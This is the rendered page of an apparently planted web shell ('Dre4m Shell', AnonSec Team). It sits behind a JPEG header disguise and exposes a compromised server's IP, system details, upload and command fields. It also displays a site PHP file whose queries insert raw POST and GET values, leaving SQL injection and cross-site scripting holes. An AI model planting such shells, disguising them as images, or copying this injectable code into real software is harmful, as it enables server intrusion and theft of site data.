ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/seo-mailing/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/seo-mailing/tools/form_css.php
<?php
if(count($_POST)){
	$query = "UPDATE ".$INFO['sql_tbl_prefix']."subscription_forms SET
	css = '{$_POST['code']}'
	WHERE id = {$_POST['id']} LIMIT 1 "; 
	mysql_query($query) or exit("insert error" . mysql_error()."<br>".$query);?>
       	<script type="application/javascript">
			document.location.href="?tools&form_css=<?php echo $_POST['id']?>";
		</script> 
<?php
}
$result = mysql_query("SELECT * FROM ".$INFO['sql_tbl_prefix']."subscription_forms WHERE id = {$_GET['form_css']} LIMIT 1");
$form = mysql_fetch_array($result, MYSQL_ASSOC);
?>
<form action="" method="post"  class="form-horizontal">
<input type="hidden" name="id" value="<?php echo $form['id']?>">
  <div class="control-group">
        <label class="control-label" for="code"><?php echo __('CSS');?></label>
        <div class="controls">
            <textarea id="code" name="code" rows="10" style="border:1px solid #ccc"><?php echo $form['css']?></textarea>
</div>
 </div>
    <div class="form-actions">
        <button type="submit" class="btn btn-primary"><?php echo __('Save');?></button>
    </div>
</form>
<hr>
<h4><?php echo __('Preview Subscribe Form');?></h4>
<iframe src="<?php echo $INFO['base_url']?>embed/form.php?form=<?php echo sha1($form['id'])?>" frameborder="0" height="250px" width="100%"></iframe>
<script>
	jQuery.noConflict()(function($){
		var editor = CodeMirror.fromTextArea(document.getElementById("code"), {lineNumbers: true});
	});
</script>

Anon7 - 2022
AnonSec Team